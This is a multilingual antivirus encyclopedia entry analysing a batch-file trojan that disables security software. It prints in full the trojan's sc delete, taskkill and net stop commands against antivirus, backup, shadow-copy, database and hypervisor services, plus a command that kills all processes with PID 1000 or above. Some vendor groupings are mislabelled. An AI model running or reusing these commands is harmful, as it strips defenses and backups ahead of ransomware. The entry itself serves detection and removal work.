Analisado por: John Rainier Navato   
 

BAT/KillAV.NGH trojan (NOD32)

 Plataforma:

Windows

 Classificao do risco total:
 Potencial de dano:
 Potencial de distribuição:
 infecção relatada:
 Exposição das informações:
Baixo
Medium
Alto
Crítico

  • Tipo de grayware:
    Trojan

  • Destrutivo:
    Não

  • Criptografado:
    Não

  • In the Wild:
    Sim

  Visão geral

Canal de infecção: Fallen gelassen von anderer Malware, Aus dem Internet heruntergeladen

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Diese Malware hat keine Verbreitungsroutine.

Diese Malware hat keine Backdoor-Routine.

Diese Malware kann keine Daten stehlen.

  Detalhes técnicos

Tipo de compactação: 11,950 bytes
Tipo de arquivo: BAT
Residente na memória: Não
Data de recebimento das amostras iniciais: 28 fevereiro 2025
Carga útil: Terminates processes, Disables AV

Übertragungsdetails

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

Fügt die folgenden Prozesse hinzu:

  • sc delete "swprv"
  • sc stop "swprv"
  • sc delete "VSS"
  • sc stop "VSS"
  • sc delete "BITS"
  • sc stop "BITS"
  • sc delete "VssEaseusProvider"
  • sc stop "VssEaseusProvider"
  • sc delete "afcdpsrv"
  • sc stop "afcdpsrv"
  • sc delete "EaseUS Agent"
  • sc stop "EaseUS Agent"
  • taskkill -f -im Agent.exe
  • taskkill -f TodoBackupService.exe
  • sc delete "Apache2.4"
  • sc stop "Apache2.4"
  • taskkill -f -im httpd.exe
  • sc delete "AnyDesk"
  • sc stop "AnyDesk"
  • taskkill -f -im AnyDesk.exe
  • taskkill -f -im openvpn-gui.exe
  • sc delete "TeamViewer"
  • sc stop "TeamViewer"
  • sc delete "SBIS3Plugin"
  • sc stop "SBIS3Plugin"
  • taskkill -f -im sbis3plugin.exe
  • taskkill -f -im Skype.exe
  • taskkill -f -im TOTALCMD64.EXE
  • taskkill -f -im TOTALCMD.EXE
  • taskkill -f -im kpm_service.exe
  • taskkill -f -im nhsrvice.exe
  • sc delete "HASP Loader"
  • sc stop "HASP Loader"
  • sc delete "hasplms"
  • sc stop "hasplms"
  • taskkill -f -im hasplms.exe
  • taskkill -f -im chrome.exe
  • taskkill -f -im SACMonitor.exe
  • sc delete "klvssbridge64_21.17"
  • sc delete "klvssbridge64_21.16"
  • sc delete "klvssbridge64_21.15"
  • sc delete "klvssbridge64_21.14"
  • sc delete "klvssbridge64_19.0.0"
  • sc stop "klvssbridge64_19.0.0"
  • sc stop "klvssbridge64_21.17"
  • sc stop "klvssbridge64_21.16"
  • sc stop "klvssbridge64_21.15"
  • sc stop "klvssbridge64_21.14"
  • sc delete "AdobeARMservice"
  • sc stop "AdobeARMservice"
  • taskkill -f -im 1cv8c.exe
  • taskkill -f -im 1cv7s.exe
  • taskkill -f -im officeclicktorun.exe
  • sc delete "AcrSch2Svc"
  • sc stop "AcrSch2Svc"
  • sc delete "AcronisAgent"
  • sc delete "AcrSch2Svc"
  • sc delete "AMS"
  • sc delete "ARSM"
  • sc delete "MMS"
  • sc delete "StorageNode"
  • sc stop "AcronisAgent"
  • sc stop "AcrSch2Svc"
  • sc stop "AMS"
  • sc stop "ARSM"
  • sc stop "MMS"
  • sc stop "StorageNode"
  • taskkill -f -im Agent.exe
  • taskkill -f -im schedul2.exe
  • taskkill -f -im ManagementServer.exe
  • taskkill -f -im StorageServer.exe
  • taskkill -f -im schedhlp.exe
  • taskkill -f -im TibMounterMonitor.exe
  • taskkill -f -im schedhlp.exe
  • sc delete "1C:Enterprise 8.3 Server Agent"
  • sc stop "1C:Enterprise 8.3 Server Agent"
  • sc delete "1C:Enterprise 8.3 Server Agent (x86-64)"
  • sc stop "1C:Enterprise 8.3 Server Agent (x86-64)"
  • taskkill -f -im ragent.exe
  • taskkill -f -im browser.exe
  • taskkill -f -im WINWORD.EXE
  • sc delete "AmsWebServer"
  • sc stop "AmsWebServer"
  • sc delete "mmsminisrv"
  • sc stop "mmsminisrv"
  • sc delete "syncagentsrv"
  • sc stop "syncagentsrv"
  • sc delete "vmvss"
  • sc stop "vmvss"
  • sc delete "MSSQL$ACRONIS"
  • sc stop "MSSQL$ACRONIS"
  • sc delete "MSSQLServerADHelper"
  • sc stop "MSSQLServerADHelper"
  • sc delete "VGAuthService"
  • sc delete "VM3DService"
  • sc delete "VMTools"
  • sc delete "VMwareCAFCommAmqpListener"
  • sc delete "VMwareCAFManagementAgentHost"
  • sc stop "VGAuthService"
  • sc stop "VM3DService"
  • sc stop "VMTools"
  • sc stop "VMwareCAFCommAmqpListener"
  • sc stop "VMwareCAFManagementAgentHost"
  • sc delete "svsvc"
  • sc stop "svsvc"
  • sc delete "vmicvmsession"
  • sc stop "vmicvmsession"
  • sc delete "ekrn"
  • sc stop "ekrn"
  • taskkill -f -im egui.exe
  • taskkill -f -im ekrn.exe
  • sc delete "Backupper Service"
  • sc stop "Backupper Service"
  • sc delete "IISADMIN"
  • sc stop "IISADMIN"
  • taskkill -f -im 1cv8.exe
  • taskkill -f -im 1cv8s.exe
  • sc delete "FileZilla Server"
  • sc stop "FileZilla Server"
  • sc delete "kpm_launch_service"
  • sc stop "kpm_launch_service"
  • sc delete "MSSQL$ASACC"
  • sc stop "MSSQL$ASACC"
  • sc delete "SQLAgent$ASACC"
  • sc stop "SQLAgent$ASACC"
  • sc delete "SDRSVC"
  • sc stop "SDRSVC"
  • sc delete "wbengine"
  • sc stop "wbengine"
  • taskkill -f -im kpm_tray.exe
  • taskkill -f -im firefox.exe
  • taskkill -f -im Viber.exe
  • taskkill -f -im fbguard.exe
  • taskkill -f -im fbserver.exe
  • sc delete "RServer3"
  • sc stop "RServer3"
  • sc delete "DrWebAVService"
  • sc stop "DrWebAVService"
  • sc delete "DrWebCldSvc"
  • sc stop "DrWebCldSvc"
  • sc delete "DrWebEngine"
  • sc stop "DrWebEngine"
  • sc delete "DrWebES"
  • sc stop "DrWebES"
  • sc delete "DrWebNetFilter"
  • sc stop "DrWebNetFilter"
  • sc delete "DrWebWscService"
  • sc stop "DrWebWscService"
  • taskkill -f -im dwengine.exe
  • sc delete "cbVSCService11"
  • sc stop "cbVSCService11"
  • sc delete "CobianBackup11"
  • sc stop "CobianBackup11"
  • taskkill -f -im cbInterface.exe
  • taskkill -f -im 1cv7.exe
  • taskkill -f -im EXCEL.EXE
  • sc delete "RDPDefender"
  • sc stop "RDPDefender"
  • taskkill -f -im RDPDefender-service.exe
  • taskkill -f -im TrueImageMonitor.exe
  • sc delete "RdpGuardProxy"
  • sc stop "RdpGuardProxy"
  • sc delete "RdpGuardService"
  • sc stop "RdpGuardService"
  • taskkill -f -im rdpguard-svc.exe
  • taskkill -f -im RDPGuardProxyServer.exe
  • taskkill -f -im caller64.exe
  • sc delete "Synology Drive VSS Service x64"
  • sc stop "Synology Drive VSS Service x64"
  • sc delete "mobile_backup_server"
  • sc stop "mobile_backup_server"
  • sc delete "mobile_backup_status_server"
  • sc stop "mobile_backup_status_server"
  • sc delete "VMUSBArbService"
  • sc stop "VMUSBArbService"
  • taskkill -f -im vmware-usbarbitrator64.exe
  • sc delete "CipMsgProxyService"
  • sc stop "CipMsgProxyService"
  • sc delete "VMAuthdService"
  • sc stop "VMAuthdService"
  • sc delete "VMnetDHCP"
  • sc stop "VMnetDHCP"
  • sc delete "VMware NAT Service"
  • sc stop "VMware NAT Service"
  • sc delete "vmware-converter-agent"
  • sc stop "vmware-converter-agent"
  • sc delete "vmware-converter-server"
  • sc stop "vmware-converter-server"
  • sc delete "vmware-converter-worker"
  • sc stop "vmware-converter-worker"
  • sc delete "VMwareHostd"
  • sc stop "VMwareHostd"
  • taskkill -f -im vmware-authd.exe
  • sc delete "AcronisActiveProtectionService"
  • sc stop "AcronisActiveProtectionService"
  • sc delete "Zabbix Agent"
  • sc stop "Zabbix Agent"
  • sc delete "vmcompute"
  • sc stop "vmcompute"
  • sc delete "vmms"
  • sc stop "vmms"
  • taskkill -f -im vmcompute.exe
  • sc delete "vmickvpexchange"
  • sc delete "vmicguestinterface"
  • sc delete "vmicshutdown"
  • sc delete "vmicheartbeat"
  • sc delete "vmicrdv"
  • sc delete "storflt"
  • sc delete "vmictimesync"
  • sc delete "vmicvss"
  • sc delete "hvdsvc"
  • sc delete "nvspwmi"
  • sc delete "wmms"
  • sc delete "AvgAdminServer"
  • sc delete "AVG Antivirus"
  • sc delete "avgAdminClient"
  • sc delete "SAVService"
  • sc delete "SAVAdminService"
  • sc delete "Sophos AutoUpdate Service"
  • sc delete "Sophos Clean Service"
  • sc delete "Sophos Device Control Service"
  • sc delete "Sophos Endpoint Defense Service"
  • sc delete "Sophos File Scanner Service"
  • sc delete "Sophos Health Service"
  • sc delete "Sophos MCS Agent"
  • sc delete "Sophos MCS Client"
  • sc delete "SntpService"
  • sc delete "swc_service"
  • sc delete "swi_service"
  • sc delete "Sophos UI"
  • sc delete "swi_update"
  • sc delete "Sophos Web Control Service"
  • sc delete "Sophos System Protection Service"
  • sc delete "Sophos Safestore Service"
  • sc delete "hmpalertsvc"
  • sc delete "RpcEptMapper"
  • sc delete "Sophos Endpoint Defense Service"
  • sc delete "SophosFIM"
  • sc delete "swi_filter"
  • sc delete "FirebirdGuardianDefaultInstance"
  • sc delete "FirebirdServerDefaultInstance"
  • sc stop "FirebirdServerDefaultInstance"
  • sc delete "MSSQLFDLauncher"
  • sc delete "MSSQLSERVER"
  • sc delete "SQLSERVERAGENT"
  • sc delete "SQLBrowser"
  • sc delete "SQLTELEMETRY"
  • sc delete "MsDtsServer130"
  • sc delete "SSISTELEMETRY130"
  • sc delete "SQLWriter"
  • sc delete "MSSQL$VEEAMSQL2012"
  • sc delete "SQLAgent$VEEAMSQL2012"
  • sc delete "MSSQL"
  • sc delete "SQLAgent"
  • sc delete "MSSQLServerADHelper100"
  • sc delete "MSSQLServerOLAPService"
  • sc delete "MsDtsServer100"
  • sc delete "ReportServer"
  • sc delete "SQLTELEMETRY$HL"
  • sc delete "TMBMServer"
  • sc delete "MSSQL$PROGID"
  • sc delete "MSSQL$WOLTERSKLUWER"
  • sc delete "SQLAgent$PROGID"
  • sc delete "SQLAgent$WOLTERSKLUWER"
  • sc delete "MSSQLFDLauncher$OPTIMA"
  • sc delete "MSSQL$OPTIMA"
  • sc delete "SQLAgent$OPTIMA"
  • sc delete "ReportServer$OPTIMA"
  • sc delete "msftesql$SQLEXPRESS"
  • sc delete "postgresql-x64-9.4"
  • sc delete "postgresql-x64-16"
  • sc delete "postgresql-x64-15"
  • sc delete "postgresql-x64-14"
  • sc delete "postgresql-x64-13"
  • sc delete "postgresql-x64-12"
  • sc delete "postgresql-x64-11"
  • sc delete "postgresql-x64-10"
  • sc delete "WRSVC"
  • sc delete "ekrn"
  • sc delete "ekrnEpsw"
  • sc delete "klim6"
  • sc delete "AVP18.0.0"
  • sc delete "KLIF"
  • sc delete "klpd"
  • sc delete "klflt"
  • sc delete "klbackupdisk"
  • sc delete "klbackupflt"
  • sc delete "klkbdflt"
  • sc delete "klmouflt"
  • sc delete "klhk"
  • sc delete "KSDE1.0.0"
  • sc delete "kltap"
  • sc delete "ScSecSvc"
  • sc delete "Core Mail Protection"
  • sc delete "Core Scanning Server"
  • sc delete "Core Scanning ServerEx"
  • sc delete "Online Protection System"
  • sc delete "RepairService"
  • sc delete "Core Browsing Protection"
  • sc delete "Quick Update Service"
  • sc delete "McAfeeFramework"
  • sc delete "macmnsvc"
  • sc delete "masvc"
  • sc delete "mfemms"
  • sc delete "mfevtp"
  • sc delete "TmFilter"
  • sc delete "TMLWCSService"
  • sc delete "tmusa"
  • sc delete "TmPreFilter"
  • sc delete "TMSmartRelayService"
  • sc delete "TMiCRCScanService"
  • sc delete "VSApiNt"
  • sc delete "TmCCSF"
  • sc delete "tmlisten"
  • sc delete "TmProxy"
  • sc delete "ntrtscan"
  • sc delete "ofcservice"
  • sc delete "TmPfw"
  • sc delete "PccNTUpd"
  • sc delete "PandaAetherAgent"
  • sc delete "PSUAService"
  • sc delete "NanoServiceMain"
  • sc delete "EPIntegrationService"
  • sc delete "EPProtectedService"
  • sc delete "EPRedline"
  • sc delete "EPSecurityService"
  • sc delete "EPUpdateService"
  • sc delete "UniFi"
  • taskkill -f -im PccNTMon.exe
  • taskkill -f -im NTRtScan.exe
  • taskkill -f -im TmListen.exe
  • taskkill -f -im TmCCSF.exe
  • taskkill -f -im TmProxy.exe
  • taskkill -f -im TMBMSRV.exe
  • taskkill -f -im TMBMSRV.exe
  • taskkill -f -im TmPfw.exe
  • taskkill -f -im CNTAoSMgr.exe
  • taskkill -f -im sqlbrowser.exe
  • taskkill -f -im sqlwriter.exe
  • taskkill -f -im sqlservr.exe
  • taskkill -f -im msmdsrv.exe
  • taskkill -f -im MsDtsSrvr.exe
  • taskkill -f -im sqlceip.exe
  • taskkill -f -im fdlauncher.exe
  • taskkill -f -im Ssms.exe
  • taskkill -f -im SQLAGENT.EXE
  • taskkill -f -im fdhost.exe
  • taskkill -f -im fdlauncher.exe
  • taskkill -f -im sqlservr.exe
  • taskkill -f -im ReportingServicesService.exe
  • taskkill -f -im msftesql.exe
  • taskkill -f -im pg_ctl.exe
  • taskkill -f -im postgres.exe
  • net stop MSSQLServerADHelper100
  • net stop MSSQL$ISARS
  • net stop MSSQL$MSFW
  • net stop SQLAgent$ISARS
  • net stop SQLAgent$MSFW
  • net stop SQLBrowser
  • net stop ReportServer$ISARS
  • net stop SQLWriter
  • net stop WinDefend
  • net stop mr2kserv
  • net stop MSExchangeADTopology
  • net stop MSExchangeFBA
  • net stop MSExchangeIS
  • net stop MSExchangeSA
  • net stop ShadowProtectSvc
  • net stop SPAdminV4
  • net stop SPTimerV4
  • net stop SPTraceV4
  • net stop SPUserCodeV4
  • net stop SPWriterV4
  • net stop SPSearch4
  • net stop MSSQLServerADHelper100
  • net stop IISADMIN
  • net stop firebirdguardiandefaultinstance
  • net stop ibmiasrw
  • net stop QBCFMonitorService
  • net stop QBVSS
  • net stop QBPOSDBServiceV12
  • net stop "IBM Domino Server (CProgramFilesIBMDominodata)"
  • net stop "IBM Domino Diagnostics (CProgramFilesIBMDomino)"
  • net stop IISADMIN
  • net stop "Simply Accounting Database Connection Manager"
  • net stop QuickBooksDB1
  • net stop QuickBooksDB2
  • net stop QuickBooksDB3
  • net stop QuickBooksDB4
  • net stop QuickBooksDB5
  • taskkill -f -im UniFi.exe
  • tasklist /fi "imagename eq MsMpEng.exe" | find /c "PID" && Echo Windows Defender
  • tasklist /fi "imagename eq ntrtscan.exe" | find /c "PID" && Echo Trend Micro Security
  • tasklist /fi "imagename eq avp.exe" | find /c "PID" && Echo Kaspersky Endpoint Security
  • tasklist /fi "imagename eq WRSA.exe" | find /c "PID" && Echo Webroot
  • tasklist /fi "imagename eq egui.exe" | find /c "PID" && Echo ESET
  • tasklist /fi "imagename eq AvastUI.exe" | find /c "PID" && Echo Avast
  • TASKKILL /F /FI "PID ge 1000" /FI "WINDOWTITLE ne untitle*"

Verbreitung

Diese Malware hat keine Verbreitungsroutine.

Backdoor-Routine

Diese Malware hat keine Backdoor-Routine.

Prozessbeendigung

Beendet die folgenden Dienste, wenn sie auf dem betroffenen System gefunden werden:

  • firebirdguardiandefaultinstance
  • IBM Domino Diagnostics (CProgramFilesIBMDomino)
  • IBM Domino Server (CProgramFilesIBMDominodata)
  • ibmiasrw
  • mr2kserv
  • MSExchangeADTopology
  • MSExchangeFBA
  • MSExchangeIS
  • MSExchangeSA
  • MSSQL$ISARS
  • MSSQL$MSFW
  • MSSQLServerADHelper100
  • QBCFMonitorService
  • QBPOSDBServiceV12
  • QBVSS
  • QuickBooksDB1
  • QuickBooksDB2
  • QuickBooksDB3
  • QuickBooksDB4
  • QuickBooksDB5
  • ReportServer$ISARS
  • ShadowProtectSvc
  • Simply Accounting Database Connection Manager
  • SPAdminV4
  • SPSearch4
  • SPTimerV4
  • SPTraceV4
  • SPUserCodeV4
  • SPWriterV4
  • SQLAgent$ISARS
  • SQLAgent$MSFW
  • SQLBrowser
  • SQLWriter
  • WinDefend

Beendet Prozesse oder Dienste, die einen oder mehrere dieser Zeichenfolgen enthalten, wenn sie im Speicher des betroffenen Systems ausgeführt werden:

  • 1cv7.exe
  • 1cv7s.exe
  • 1cv8.exe
  • 1cv8c.exe
  • 1cv8s.exe
  • Agent.exe
  • Agent.exe
  • AnyDesk.exe
  • browser.exe
  • caller64.exe
  • cbInterface.exe
  • chrome.exe
  • dwengine.exe
  • egui.exe
  • ekrn.exe
  • EXCEL.EXE
  • fbguard.exe
  • fbserver.exe
  • firefox.exe
  • hasplms.exe
  • httpd.exe
  • kpm_service.exe
  • kpm_tray.exe
  • ManagementServer.exe
  • nhsrvice.exe
  • officeclicktorun.exe
  • openvpn-gui.exe
  • ragent.exe
  • RDPDefender-service.exe
  • rdpguard-svc.exe
  • RDPGuardProxyServer.exe
  • SACMonitor.exe
  • sbis3plugin.exe
  • schedhlp.exe
  • schedhlp.exe
  • schedul2.exe
  • Skype.exe
  • StorageServer.exe
  • TibMounterMonitor.exe
  • TOTALCMD.EXE
  • TOTALCMD64.EXE
  • TrueImageMonitor.exe
  • TodoBackupService.exe
  • UniFi.exe
  • Viber.exe
  • vmcompute.exe
  • vmware-authd.exe
  • vmware-usbarbitrator64.exe
  • WINWORD.EXE
  • Trend Micro:
    • CNTAoSMgr.exe
    • NTRtScan.exe
    • PccNTMon.exe
    • TMBMSRV.exe
    • TMBMSRV.exe
    • TmCCSF.exe
    • TmListen.exe
    • TmPfw.exe
    • TmProxy.exe
  • SQL:
    • fdhost.exe
    • fdlauncher.exe
    • fdlauncher.exe
    • MsDtsSrvr.exe
    • msftesql.exe
    • msmdsrv.exe
    • pg_ctl.exe
    • postgres.exe
    • ReportingServicesService.exe
    • SQLAGENT.EXE
    • sqlbrowser.exe
    • sqlceip.exe
    • sqlservr.exe
    • sqlservr.exe
    • sqlwriter.exe
    • Ssms.exe

Datendiebstahl

Diese Malware kann keine Daten stehlen.

Andere Details

Es macht Folgendes:

  • It terminates and deletes the following services:
    • 1C:Enterprise 8.3 Server Agent (x86-64)
    • 1C:Enterprise 8.3 Server Agent
    • AcronisActiveProtectionService
    • AcronisAgent
    • AcrSch2Svc
    • AcrSch2Svc
    • AdobeARMservice
    • afcdpsrv
    • AMS
    • AmsWebServer
    • AnyDesk
    • Apache2.4
    • ARSM
    • Backupper Service
    • BITS
    • cbVSCService11
    • CipMsgProxyService
    • CobianBackup11
    • DrWebAVService
    • DrWebCldSvc
    • DrWebEngine
    • DrWebES
    • DrWebNetFilter
    • DrWebWscService
    • EaseUS Agent
    • ekrn
    • FileZilla Server
    • HASP Loader
    • hasplms
    • IISADMIN
    • klvssbridge64_19.0.0
    • klvssbridge64_21.14
    • klvssbridge64_21.15
    • klvssbridge64_21.16
    • klvssbridge64_21.17
    • kpm_launch_service
    • MMS
    • mmsminisrv
    • mobile_backup_server
    • mobile_backup_status_server
    • MSSQL$ACRONIS
    • MSSQL$ASACC
    • MSSQLServerADHelper
    • RDPDefender
    • RdpGuardProxy
    • RdpGuardService
    • RServer3
    • SBIS3Plugin
    • SDRSVC
    • SQLAgent$ASACC
    • StorageNode
    • svsvc
    • swprv
    • syncagentsrv
    • Synology Drive VSS Service x64
    • TeamViewer
    • VGAuthService
    • VM3DService
    • VMAuthdService
    • vmcompute
    • vmicvmsession
    • vmms
    • VMnetDHCP
    • VMTools
    • VMUSBArbService
    • vmvss
    • VMware NAT Service
    • vmware-converter-agent
    • vmware-converter-server
    • vmware-converter-worker
    • VMwareCAFCommAmqpListener
    • VMwareCAFManagementAgentHost
    • VMwareHostd
    • VSS
    • VssEaseusProvider
    • wbengine
    • Zabbix Agent
  • It deletes the following services:
    • AVG
      • AVG Antivirus
      • avgAdminClient
      • AvgAdminServer
    • ESET
      • ekrn
      • ekrnEpsw
    • Firebird
      • FirebirdGuardianDefaultInstance
      • FirebirdServerDefaultInstance
    • Hyper-V
      • hvdsvc
      • nvspwmi
      • storflt
      • vmicguestinterface
      • vmicheartbeat
      • vmickvpexchange
      • vmicrdv
      • vmicshutdown
      • vmictimesync
      • vmicvss
      • wmms
    • Kaspersky
      • hvdsvc
      • nvspwmi
      • storflt
      • vmicguestinterface
      • vmicheartbeat
      • vmickvpexchangeaAVP18.0.0
      • klbackupdisk
      • klbackupflt
      • klflt
      • klhk
      • KLIF
      • klim6
      • klkbdflt
      • klmouflt
      • klpd
      • kltap
      • KSDE1.0.0
      • vmicrdv
      • vmicshutdown
      • vmictimesync
      • vmicvss
      • wmms
    • McAfee
      • macmnsvc
      • masvc
      • McAfeeFramework
      • mfemms
      • Mfevtp
    • Panda
      • EPIntegrationService
      • EPProtectedService
      • EPRedline
      • EPSecurityService
      • EPUpdateService
      • NanoServiceMain
      • PandaAetherAgent
      • PSUAService
    • Quick Heal
      • Core Browsing Protection
      • Core Mail Protection
      • Core Scanning Server
      • Core Scanning ServerEx
      • Online Protection System
      • Quick Update Service
      • RepairService
      • ScSecSvc
    • Sophos
      • hmpalertsvc
      • RpcEptMapper
      • SAVAdminService
      • SAVService
      • SntpService
      • Sophos AutoUpdate Service
      • Sophos Clean Service
      • Sophos Device Control Service
      • Sophos Endpoint Defense Service
      • Sophos File Scanner Service
      • Sophos Health Service
      • Sophos MCS Agent
      • Sophos MCS Client
      • Sophos Safestore Service
      • Sophos System Protection Service
      • Sophos UI
      • Sophos Web Control Service
      • SophosFIM
      • swc_service
      • swi_filter
      • swi_service
      • swi_update
    • SQL
      • MsDtsServer100
      • MsDtsServer130
      • msftesql$SQLEXPRESS
      • MSSQL
      • MSSQL$OPTIMA
      • MSSQL$PROGID
      • MSSQL$VEEAMSQL2012
      • MSSQL$WOLTERSKLUWER
      • MSSQLFDLauncher
      • MSSQLFDLauncher$OPT
      • MSSQLSERVER
      • MSSQLServerADHelper
      • MSSQLServerOLAPServ
      • postgresql-x64-10
      • postgresql-x64-11
      • postgresql-x64-12
      • postgresql-x64-13
      • postgresql-x64-14
      • postgresql-x64-15
      • postgresql-x64-16
      • postgresql-x64-9.4
      • ReportServer
      • ReportServer$OPTIMA
      • SQLAgent
      • SQLAgent$OPTIMA
      • SQLAgent$PROGID
      • SQLAgent$VEEAMSQL20
      • SQLAgent$WOLTERSKLU
      • SQLBrowser
      • SQLSERVERAGENT
      • SQLTELEMETRY
      • SQLTELEMETRY$HL
      • SQLWriter
      • SSISTELEMETRY130
    • Trend Micro
      • ntrtscan
      • ofcservice
      • PccNTUpd
      • TMBMServer
      • TmCCSF
      • TmFilter
      • TMiCRCScanService
      • tmlisten
      • TMLWCSService
      • TmPfw
      • TmPreFilter
      • TmProxy
      • TMSmartRelayService
      • tmusa
      • VSApiNt
    • Webroot
      • WRSVC
  • It lists the number of running processes with the following security-related software process names:
    • AvastUI.exe → Avast
    • avp.exe → Kaspersky Endpoint Security
    • egui.exe → ESET
    • MsMpEng.exe → Windows Defender
    • ntrtscan.exe → Trend Micro Security
    • WRSA.exe → Webroot
  • It forcefully terminates all processes with a Process ID greater than or equal to 1000 and whose window titles does not start with "untitle".

  Solução

Mecanismo de varredura mínima: 9.800
Primeiro arquivo padrão VSAPI: 19.940.08
Data do lançamento do primeiro padrão VSAPI: 05 março 2025
VSAPI OPR Pattern Version: 19.941.00
VSAPI OPR Pattern veröffentlicht am: 06 março 2025

Step 1

Für Windows ME und XP Benutzer: Stellen Sie vor einer Suche sicher, dass die Systemwiederherstellung deaktiviert ist, damit der gesamte Computer durchsucht werden kann.

Step 2

Durchsuchen Sie Ihren Computer mit Ihrem Trend Micro Produkt, und löschen Sie Dateien, die als Trojan.BAT.KILLAV.H entdeckt werden. Falls die entdeckten Dateien bereits von Ihrem Trend Micro Produkt gesäubert, gelöscht oder in Quarantäne verschoben wurden, sind keine weiteren Schritte erforderlich. Dateien in Quarantäne können einfach gelöscht werden. Auf dieser Knowledge-Base-Seite finden Sie weitere Informationen.


Participe da nossa pesquisa!